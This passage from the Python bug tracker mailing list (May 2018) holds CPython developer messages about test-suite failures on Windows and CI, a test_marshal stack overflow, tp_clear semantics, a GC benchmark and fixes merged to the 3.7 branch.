(__main__.NtCommonTest) What is your Python version? Python uses UTF-8 to encode paths on Windows since Python 3.6: https://vstinner.github.io/python36-utf8-windows.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:42:39 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 13:42:39 +0000 Subject: [issue33717] Enhance test.pythinfo: meta-ticket for multiple changes Message-ID: <1527774159.9.0.682650639539.issue33717@psf.upfronthosting.co.za> New submission from STINNER Victor : Lib/test/pythoninfo.py is a tool to dump informations to help to debug test failures. I create this issue to have a bpo number for future enhancements. For example, I now would like to get the version of the C compiler. ---------- components: Tests messages: 318309 nosy: vstinner priority: normal severity: normal status: open title: Enhance test.pythinfo: meta-ticket for multiple changes type: enhancement versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:43:23 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 31 May 2018 13:43:23 +0000 Subject: [issue33706] Segfault in command line processing due to buffer over-read In-Reply-To: <1527748270.57.0.682650639539.issue33706@psf.upfronthosting.co.za> Message-ID: <1527774203.71.0.682650639539.issue33706@psf.upfronthosting.co.za> miss-islington added the comment: New changeset c6de46e180e81508a3b43341791b56418bd811f9 by Miss Islington (bot) in branch '3.7': bpo-33706: Fix pymain_parse_cmdline_impl() (GH-7283) https://github.com/python/cpython/commit/c6de46e180e81508a3b43341791b56418bd811f9 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:52:33 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 13:52:33 +0000 Subject: [issue33701] test_datetime crashed (SIGSEGV) on Travis CI In-Reply-To: <1527719641.19.0.682650639539.issue33701@psf.upfronthosting.co.za> Message-ID: <1527774753.17.0.682650639539.issue33701@psf.upfronthosting.co.za> STINNER Victor added the comment: > https://travis-ci.org/python/cpython/jobs/385458840 pythoninfo: Py_DEBUG: Yes (sys.gettotalrefcount() present) _decimal.__libmpdec_version__: 2.4.2 builtins.float.double_format: IEEE, little-endian builtins.float.float_format: IEEE, little-endian os.cpu_count: 48 os.environ[CC]: clang -pthread os.uname: posix.uname_result(sysname='Linux', nodename='travis-job-python-cpython-385458840.travisci.net', release='4.4.0-112-generic', version='#135-Ubuntu SMP Fri Jan 19 11:48:36 UTC 2018', machine='x86_64') platform.architecture: 64bit ELF platform.platform: Linux-4.4.0-112-generic-x86_64-with-debian-jessie-sid sys.version: 3.7.0b4+ (heads/3.7:4f53e2a, May 30 2018, 00:26:26) [Clang 5.0.0 (tags/RELEASE_500/final)] sysconfig[CCSHARED]: -fPIC sysconfig[CC]: clang -pthread sysconfig[CFLAGS]: -Wno-unused-result -Wsign-compare -g -O0 -Wall -Wstrict-prototypes -I/home/travis/multissl/openssl/1.1.0h/include -O3 -I/home/travis/multissl/openssl/1.1.0h/include -O3 sysconfig[CONFIG_ARGS]: '--with-pydebug' 'CC=clang' 'CFLAGS=-I/home/travis/multissl/openssl/1.1.0h/include -O3' 'LDFLAGS=-L/home/travis/multissl/openssl/1.1.0h/lib' sysconfig[HOST_GNU_TYPE]: x86_64-pc-linux-gnu sysconfig[OPT]: -g -O0 -Wall -Wstrict-prototypes sysconfig[PY_CFLAGS]: -Wno-unused-result -Wsign-compare -g -O0 -Wall -Wstrict-prototypes -I/home/travis/multissl/openssl/1.1.0h/include -O3 -I/home/travis/multissl/openssl/1.1.0h/include -O3 sysconfig[PY_CFLAGS_NODIST]: -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Werror=implicit-function-declaration sysconfig[PY_LDFLAGS]: -L/home/travis/multissl/openssl/1.1.0h/lib -L/home/travis/multissl/openssl/1.1.0h/lib sysconfig[Py_DEBUG]: 1 sysconfig[Py_ENABLE_SHARED]: 0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:54:19 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 13:54:19 +0000 Subject: [issue33701] test_datetime crashed (SIGSEGV) on Travis CI In-Reply-To: <1527719641.19.0.682650639539.issue33701@psf.upfronthosting.co.za> Message-ID: <1527774859.5.0.682650639539.issue33701@psf.upfronthosting.co.za> STINNER Victor added the comment: > https://travis-ci.org/python/cpython/jobs/385458840 $ clang --version clang version 5.0.0 (tags/RELEASE_500/final) Target: x86_64-unknown-linux-gnu Thread model: posix InstalledDir: /usr/local/clang-5.0.0/bin ./configure --with-pydebug ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:00:52 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 14:00:52 +0000 Subject: [issue30849] test_stress_delivery_dependent() of test_signal randomly fails on AMD64 Debian root 3.6/3.x In-Reply-To: <1499181411.1.0.541300647507.issue30849@psf.upfronthosting.co.za> Message-ID: <1527775252.38.0.682650639539.issue30849@psf.upfronthosting.co.za> STINNER Victor added the comment: Recent failure on AMD64 Debian root 3.7: http://buildbot.python.org/all/#/builders/127/builds/361 0:03:33 load avg: 1.38 [140/415/1] test_signal failed ====================================================================== FAIL: test_stress_delivery_dependent (test.test_signal.StressTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/root/buildarea/3.7.angelico-debian-amd64/build/Lib/test/test_signal.py", line 1116, in test_stress_delivery_dependent self.assertEqual(len(sigs), N, "Some signals were lost") AssertionError: 3586 != 10000 : Some signals were lost ====================================================================== FAIL: test_stress_delivery_simultaneous (test.test_signal.StressTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/root/buildarea/3.7.angelico-debian-amd64/build/Lib/test/test_signal.py", line 1149, in test_stress_delivery_simultaneous self.assertEqual(len(sigs), N, "Some signals were lost") AssertionError: 8884 != 10000 : Some signals were lost ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:03:53 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 14:03:53 +0000 Subject: [issue33717] Enhance test.pythoninfo: meta-ticket for multiple changes In-Reply-To: <1527774159.9.0.682650639539.issue33717@psf.upfronthosting.co.za> Message-ID: <1527775433.14.0.682650639539.issue33717@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- title: Enhance test.pythinfo: meta-ticket for multiple changes -> Enhance test.pythoninfo: meta-ticket for multiple changes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:05:39 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 14:05:39 +0000 Subject: [issue33718] Enhance regrtest: meta-ticket for multiple changes Message-ID: <1527775539.21.0.682650639539.issue33718@psf.upfronthosting.co.za> New submission from STINNER Victor : Lib/test/libregrtest/ (python3 -m test) is the test runner used to run the Python test suite. I create this issue to have a bpo number for future enhancements. Example of recent enhancements: * https://github.com/python/cpython/pull/7105 * https://github.com/python/cpython/pull/7159 This issue should also help me to make sure that I backport enhancements from master to 2.7, 3.6 and 3.7 branches. ---------- messages: 318314 nosy: vstinner priority: normal severity: normal status: open title: Enhance regrtest: meta-ticket for multiple changes type: enhancement versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:14:27 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 14:14:27 +0000 Subject: [issue33706] Segfault in command line processing due to buffer over-read In-Reply-To: <1527748270.57.0.682650639539.issue33706@psf.upfronthosting.co.za> Message-ID: <1527776067.51.0.682650639539.issue33706@psf.upfronthosting.co.za> STINNER Victor added the comment: Thank you Christoph Gohlke for your bug report and your fix! I fixed 3.7 and master branches. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:15:09 2018 From: report at bugs.python.org (Stefan Krah) Date: Thu, 31 May 2018 14:15:09 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear In-Reply-To: <1527768910.92.0.682650639539.issue33713@psf.upfronthosting.co.za> Message-ID: <1527776109.8.0.682650639539.issue33713@psf.upfronthosting.co.za> Stefan Krah added the comment: Well, the example would need exports: >>> a = [bytes()] >>> a.append(memoryview(a[0])) >>> a.append(memoryview(a[1])) >>> a.append(a) >>> a [b'', , , [...]] The first memoryview has one export, so its refcount > 0. Do I fundamentally misunderstand tp_clear() and tp_clear() can be called on objects with refcount > 0? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:16:40 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 14:16:40 +0000 Subject: [issue33712] OrderedDict can set an exception in tp_clear In-Reply-To: <1527768528.87.0.682650639539.issue33712@psf.upfronthosting.co.za> Message-ID: <1527776200.26.0.682650639539.issue33712@psf.upfronthosting.co.za> STINNER Victor added the comment: > The tp_clear handler of OrderedDict can set an exception when fail to allocate a nodes cache for an empty dict. An exception in tp_clear is not expected and caused a crash in the garbage collector. If it's a cache, it would be better to cancel the caching, and just destroy the dictionary, no? ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:18:12 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 14:18:12 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear In-Reply-To: <1527768910.92.0.682650639539.issue33713@psf.upfronthosting.co.za> Message-ID: <1527776292.14.0.682650639539.issue33713@psf.upfronthosting.co.za> STINNER Victor added the comment: If the bug cannot occur, just add "assert(!PyErr_Occurred());" no? ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:18:31 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 14:18:31 +0000 Subject: [issue33714] module can set an exception in tp_clear In-Reply-To: <1527769305.39.0.682650639539.issue33714@psf.upfronthosting.co.za> Message-ID: <1527776311.18.0.682650639539.issue33714@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:18:40 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 14:18:40 +0000 Subject: [issue33714] module can set an exception in tp_clear In-Reply-To: <1527769305.39.0.682650639539.issue33714@psf.upfronthosting.co.za> Message-ID: <1527776320.36.0.682650639539.issue33714@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:19:42 2018 From: report at bugs.python.org (Stefan Krah) Date: Thu, 31 May 2018 14:19:42 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear In-Reply-To: <1527768910.92.0.682650639539.issue33713@psf.upfronthosting.co.za> Message-ID: <1527776382.94.0.682650639539.issue33713@psf.upfronthosting.co.za> Stefan Krah added the comment: Well yes, I still want to understand tp_clear(). :) The docs are a bit vague. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:20:54 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 31 May 2018 14:20:54 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear In-Reply-To: <1527776109.8.0.682650639539.issue33713@psf.upfronthosting.co.za> Message-ID: <6236b3f4-7e23-d76d-c189-15b4bd8f83b0@free.fr> Antoine Pitrou added the comment: Yes, tp_clear can be called with refcount > 0. It's exactly why it's separate from tp_dealloc, actually :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:45:43 2018 From: report at bugs.python.org (Roundup Robot) Date: Thu, 31 May 2018 14:45:43 +0000 Subject: [issue33684] parse failed for mutibytes characters, encode will show in \xxx In-Reply-To: <1527604179.28.0.682650639539.issue33684@psf.upfronthosting.co.za> Message-ID: <1527777943.93.0.682650639539.issue33684@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- pull_requests: +6912 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:50:39 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 31 May 2018 14:50:39 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527778239.14.0.682650639539.issue33597@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Here is a micro-benchmark of GC overhead: * before: $ ./python -m timeit -s "import gc, doctest, ftplib, asyncio, email, http.client, pydoc, pdb, fractions, decimal, difflib, textwrap, statistics, shutil, shelve, lzma, concurrent.futures, telnetlib, smtpd, tkinter.tix, trace, distutils, pkgutil, tabnanny, pickletools, dis, argparse" "gc.collect()" 100 loops, best of 5: 2.41 msec per loop * after: $ ./python -m timeit -s "import gc, doctest, ftplib, asyncio, email, http.client, pydoc, pdb, fractions, decimal, difflib, textwrap, statistics, shutil, shelve, lzma, concurrent.futures, telnetlib, smtpd, tkinter.tix, trace, distutils, pkgutil, tabnanny, pickletools, dis, argparse" "gc.collect()" 100 loops, best of 5: 2.52 msec per loop So it's a 4% slowdown, but GC runs themselves are a minor fraction of usual programs' runtime, so I'm not sure that matters. Though it would be better to test on an actual GC-heavy application. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:53:06 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 14:53:06 +0000 Subject: [issue33719] Test failures on Python 3.7 beta 5 and Windows 10 Message-ID: <1527778386.67.0.682650639539.issue33719@psf.upfronthosting.co.za> New submission from STINNER Victor : I ran the test suite on an installed Python 3.7 beta5 on Windows 10. The following tests fail: * test_marshal.test_loads_2x_code(): Windows fatal exception: stack overflow * test_pkg: failures when run with -X utf8 * test.test_tools.test_sundry.TestSundryScripts.test_sundry(): "optparse.BadOptionError: no such option: -m" == test_marshal == C:\Users\vstinner\AppData\Local\Programs\Python\Python37>python.exe -m test test_marshal -v == CPython 3.7.0b5 (v3.7.0b5:abb8802389, May 31 2018, 01:54:01) [MSC v.1913 64 bit (AMD64)] == Windows-10-10.0.16299-SP0 little-endian == cwd: C:\Users\vstinner\AppData\Local\Temp\test_python_3836 == CPU count: 2 == encodings: locale=cp1252, FS=utf-8 Run tests sequentially 0:00:00 [1/1] test_marshal (...) test_loads_2x_code (test.test_marshal.BugsTestCase) ... Windows fatal exception: stack overflow Current thread 0x000003a0 (most recent call first): File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\unittest\case.py", line 178 in handle File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\unittest\case.py", line 743 in assertRaises File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\test\test_marshal.py", line 215 in test_loads_2x_code (...) == test_pkg == C:\Users\vstinner\AppData\Local\Programs\Python\Python37>python.exe -X utf8 -m test -v test_pkg == CPython 3.7.0b5 (v3.7.0b5:abb8802389, May 31 2018, 01:54:01) [MSC v.1913 64 bit (AMD64)] == Windows-10-10.0.16299-SP0 little-endian == cwd: C:\Users\vstinner\AppData\Local\Temp\test_python_6984 == CPU count: 2 == encodings: locale=UTF-8, FS=utf-8 Run tests sequentially 0:00:00 [1/1] test_pkg test_1 (test.test_pkg.TestPkg) ... ok test_2 (test.test_pkg.TestPkg) ... ok test_3 (test.test_pkg.TestPkg) ... ok test_4 (test.test_pkg.TestPkg) ... ERROR test_5 (test.test_pkg.TestPkg) ... ok test_6 (test.test_pkg.TestPkg) ... ok test_7 (test.test_pkg.TestPkg) ... FAIL test_8 (test.test_pkg.TestPkg) ... ok ====================================================================== ERROR: test_4 (test.test_pkg.TestPkg) ---------------------------------------------------------------------- Traceback (most recent call last): File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\test\test_pkg.py", line 180, in test_4 self.run_code(s) File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\test\test_pkg.py", line 69, in run_code exec(textwrap.dedent(code), globals(), {"self": self}) File "", line 2, in File "C:\Users\vstinner\AppData\Local\Temp\tmpeeb0h5ra\t4.py", line 1, in RuntimeError: Shouldnt load t4.py ====================================================================== FAIL: test_7 (test.test_pkg.TestPkg) ---------------------------------------------------------------------- Traceback (most recent call last): File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\test\test_pkg.py", line 260, in test_7 '__name__', '__package__', '__path__', '__spec__']) AssertionError: Lists differ: ['__c[34 chars]__loader__', '__name__', '__package__', '__spec__'] != ['__c[34 chars]__loader__', '__name__', '__package__', '__path__', '__spec__'] First differing element 6: '__spec__' '__path__' Second list contains 1 additional elements. First extra element 7: '__spec__' ['__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', + '__path__', '__spec__'] ---------------------------------------------------------------------- Ran 8 tests in 0.156s FAILED (failures=1, errors=1) test test_pkg failed test_pkg failed 1 test failed: test_pkg Total duration: 187 ms Tests result: FAILURE == test_tools == C:\Users\vstinner\AppData\Local\Programs\Python\Python37>python.exe -m test -v test_tools -m test_sundry == CPython 3.7.0b5 (v3.7.0b5:abb8802389, May 31 2018, 01:54:01) [MSC v.1913 64 bit (AMD64)] == Windows-10-10.0.16299-SP0 little-endian == cwd: C:\Users\vstinner\AppData\Local\Temp\test_python_7472 == CPU count: 2 == encodings: locale=cp1252, FS=utf-8 Run tests sequentially 0:00:00 [1/1] test_tools test_analyze_dxp_import (test.test_tools.test_sundry.TestSundryScripts) ... ok test_sundry (test.test_tools.test_sundry.TestSundryScripts) ... Usage: 2to3 [options] file|dir ... __main__.py: error: no such option: -m ERROR test_sundry_windows (test.test_tools.test_sundry.TestSundryScripts) ... ok ====================================================================== ERROR: test_sundry (test.test_tools.test_sundry.TestSundryScripts) ---------------------------------------------------------------------- Traceback (most recent call last): File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\optparse.py", line 1387, in parse_args stop = self._process_args(largs, rargs, values) File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\optparse.py", line 1431, in _process_args self._process_short_opts(rargs, values) File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\optparse.py", line 1513, in _process_short_opts raise BadOptionError(opt) optparse.BadOptionError: no such option: -m During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\test\test_tools\test_sundry.py", line 36, in test_sundry import_tool(name) File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\test\test_tools\__init__.py", line 21, in import_tool return importlib.import_module(toolname) File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\importlib\__init__.py", line 127, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "", line 1006, in _gcd_import File "", line 983, in _find_and_load File "", line 967, in _find_and_load_unlocked File "", line 677, in _load_unlocked File "", line 728, in exec_module File "", line 219, in _call_with_frames_removed File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\Tools\scripts\2to3.py", line 5, in sys.exit(main("lib2to3.fixes")) File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\lib2to3\main.py", line 179, in main options, args = parser.parse_args(args) File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\optparse.py", line 1389, in parse_args self.error(str(err)) File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\optparse.py", line 1569, in error self.exit(2, "%s: error: %s\n" % (self.get_prog_name(), msg)) File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\optparse.py", line 1559, in exit sys.exit(status) SystemExit: 2 ---------------------------------------------------------------------- Ran 3 tests in 0.031s FAILED (errors=1) test test_tools failed test_tools failed 1 test failed: test_tools Total duration: 78 ms Tests result: FAILURE ---------- components: Tests messages: 318322 nosy: vstinner priority: normal severity: normal status: open title: Test failures on Python 3.7 beta 5 and Windows 10 versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 10:57:16 2018 From: report at bugs.python.org (Mark Roseman) Date: Thu, 31 May 2018 14:57:16 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1527778636.86.0.682650639539.issue33479@psf.upfronthosting.co.za> Change by Mark Roseman : ---------- pull_requests: +6913 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:05:36 2018 From: report at bugs.python.org (Eric Snow) Date: Thu, 31 May 2018 15:05:36 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527779136.43.0.682650639539.issue33615@psf.upfronthosting.co.za> Change by Eric Snow : ---------- pull_requests: +6914 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:05:36 2018 From: report at bugs.python.org (Eric Snow) Date: Thu, 31 May 2018 15:05:36 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1527779136.55.0.0935424498089.issue32604@psf.upfronthosting.co.za> Change by Eric Snow : ---------- pull_requests: +6915 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:13:13 2018 From: report at bugs.python.org (Eric Snow) Date: Thu, 31 May 2018 15:13:13 +0000 Subject: [issue12029] Allow catching virtual subclasses in except clauses In-Reply-To: <1304844823.89.0.48444500115.issue12029@psf.upfronthosting.co.za> Message-ID: <1527779593.5.0.682650639539.issue12029@psf.upfronthosting.co.za> Change by Eric Snow : ---------- nosy: +eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:13:35 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 15:13:35 +0000 Subject: [issue33720] test_marshal: crash in Python 3.7b5 on Windows 10 Message-ID: <1527779615.11.0.682650639539.issue33720@psf.upfronthosting.co.za> New submission from STINNER Victor : Follow-up of bpo-33719. C:\Users\vstinner\AppData\Local\Programs\Python\Python37>python.exe -m test test_marshal -v == CPython 3.7.0b5 (v3.7.0b5:abb8802389, May 31 2018, 01:54:01) [MSC v.1913 64 bit (AMD64)] == Windows-10-10.0.16299-SP0 little-endian == cwd: C:\Users\vstinner\AppData\Local\Temp\test_python_3836 == CPU count: 2 == encodings: locale=cp1252, FS=utf-8 Run tests sequentially 0:00:00 [1/1] test_marshal (...) test_loads_2x_code (test.test_marshal.BugsTestCase) ... Windows fatal exception: stack overflow Current thread 0x000003a0 (most recent call first): File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\unittest\case.py", line 178 in handle File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\unittest\case.py", line 743 in assertRaises File "C:\Users\vstinner\AppData\Local\Programs\Python\Python37\lib\test\test_marshal.py", line 215 in test_loads_2x_code (...) Crashes in test_marshal is on old topic: * bpo-1050 * bpo-2286 * bpo-25264 * bpo-22734 * bpo-27019 Current stack size: 2 million bytes (1.9 MiB) PCbuild/python.vcxproj: 2000000 PCbuild/pythonw.vcxproj: 2000000 ---------- components: Tests, Windows messages: 318323 nosy: paul.moore, steve.dower, tim.golden, vstinner, zach.ware priority: normal severity: normal status: open title: test_marshal: crash in Python 3.7b5 on Windows 10 versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:13:59 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 15:13:59 +0000 Subject: [issue33719] Test failures on Python 3.7 beta 5 and Windows 10 In-Reply-To: <1527778386.67.0.682650639539.issue33719@psf.upfronthosting.co.za> Message-ID: <1527779639.61.0.682650639539.issue33719@psf.upfronthosting.co.za> STINNER Victor added the comment: > test_marshal.test_loads_2x_code(): Windows fatal exception: stack overflow I created bpo-33720: "test_marshal: crash in Python 3.7b5 on Windows 10". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:14:15 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 15:14:15 +0000 Subject: [issue33720] test_marshal: crash in Python 3.7b5 on Windows 10 In-Reply-To: <1527779615.11.0.682650639539.issue33720@psf.upfronthosting.co.za> Message-ID: <1527779655.86.0.682650639539.issue33720@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- type: -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:17:44 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 15:17:44 +0000 Subject: [issue33720] test_marshal: crash in Python 3.7b5 on Windows 10 In-Reply-To: <1527779615.11.0.682650639539.issue33720@psf.upfronthosting.co.za> Message-ID: <1527779864.47.0.682650639539.issue33720@psf.upfronthosting.co.za> STINNER Victor added the comment: I compiled the master branch of Python in release mode using VS2015 (MSC v.1912 64 bit) and I failed to reproduce the crash: * PCbuild/build.bat -e -p x64 * python -m test -v test_marshal * no crash ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:17:52 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 15:17:52 +0000 Subject: [issue33720] test_marshal: crash in Python 3.7b5 on Windows 10 In-Reply-To: <1527779615.11.0.682650639539.issue33720@psf.upfronthosting.co.za> Message-ID: <1527779872.37.0.682650639539.issue33720@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- versions: +Python 3.7 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:26:26 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 15:26:26 +0000 Subject: [issue33720] test_marshal: crash in Python 3.7b5 on Windows 10 In-Reply-To: <1527779615.11.0.682650639539.issue33720@psf.upfronthosting.co.za> Message-ID: <1527780386.42.0.682650639539.issue33720@psf.upfronthosting.co.za> STINNER Victor added the comment: > I compiled the master branch of Python in release mode using VS2015 (MSC v.1912 64 bit) and I failed to reproduce the crash I also failed to reproduce the crash in the 3.7 branch. I guess that the python.org binary has been compiled differently. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:36:28 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 31 May 2018 15:36:28 +0000 Subject: [issue33720] test_marshal: crash in Python 3.7b5 on Windows 10 In-Reply-To: <1527779615.11.0.682650639539.issue33720@psf.upfronthosting.co.za> Message-ID: <1527780988.0.0.682650639539.issue33720@psf.upfronthosting.co.za> Steve Dower added the comment: The uploaded binary is compiled with PGO enabled (and trained on most of the test suite). I'll check it out - hopefully we don't need to do anything drastic and can get away with either a compiler update or disabling optimizations on a single function. ---------- assignee: -> steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:36:53 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 31 May 2018 15:36:53 +0000 Subject: [issue33720] test_marshal: crash in Python 3.7b5 on Windows 10 In-Reply-To: <1527779615.11.0.682650639539.issue33720@psf.upfronthosting.co.za> Message-ID: <1527781013.18.0.682650639539.issue33720@psf.upfronthosting.co.za> Steve Dower added the comment: Ned, FYI ---------- nosy: +ned.deily priority: normal -> release blocker versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:39:24 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 15:39:24 +0000 Subject: [issue33720] test_marshal: crash in Python 3.7b5 on Windows 10 In-Reply-To: <1527779615.11.0.682650639539.issue33720@psf.upfronthosting.co.za> Message-ID: <1527781164.1.0.682650639539.issue33720@psf.upfronthosting.co.za> STINNER Victor added the comment: > priority: normal -> release blocker I don't think that it's a release blocker. test_marshal does only crash on corner cases which should not occur on usual "valid" data. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 11:48:12 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 31 May 2018 15:48:12 +0000 Subject: [issue33720] test_marshal: crash in Python 3.7b5 on Windows 10 In-Reply-To: <1527779615.11.0.682650639539.issue33720@psf.upfronthosting.co.za> Message-ID: <1527781692.26.0.682650639539.issue33720@psf.upfronthosting.co.za> Steve Dower added the comment: A crash in the test suite should be fixed, especially since we have protection against this crash (and a test that validates it). In this case, apparently the stack allocation for each frame of r_object grew and now there isn't room for 2000 calls (the value of MAX_MARSHAL_STACK_DEPTH). This isn't really a robust way of handling it anyway, so I'll check out whether there's an easy way to safely probe the stack before recursing, otherwise we'll just have to cut the number a bit further. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 12:13:29 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 31 May 2018 16:13:29 +0000 Subject: [issue33720] test_marshal: crash in Python 3.7b5 on Windows 10 In-Reply-To: <1527779615.11.0.682650639539.issue33720@psf.upfronthosting.co.za> Message-ID: <1527783209.45.0.682650639539.issue33720@psf.upfronthosting.co.za> Steve Dower added the comment: I need to stop working on this right now, but here's the locals layout in a normal release build in r_object: @rdi @rdi p = 0x00000034`655ea3d0 00000034`65403f60 @rsp+0x0080 v = 0x00000000`00000000 00000034`65403fc0 @rsp+0x00e0 buf = char [256] "" 00000034`654040c0 @rsp+0x01e0 buf = char [256] "" In the PGO build, it looks like this: 000000be`1e003b50 @rsp+0x0080 v = 0x00000000`00000000 000000be`1e003b58 @rsp+0x0088 is_interned = 0n0 000000be`1e003ef0 @rsp+0x0420 buf = char [256] "" 000000be`1e003ff0 @rsp+0x0520 buf = char [256] "" I need to ping the team and figure out why the buffers are so far removed from the rest of the stack, and figure out what's in the gap. That seems to be the core of the problem. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 12:14:49 2018 From: report at bugs.python.org (Timo Furrer) Date: Thu, 31 May 2018 16:14:49 +0000 Subject: [issue28657] cmd.Cmd.get_help() implementation can't see do_*() methods 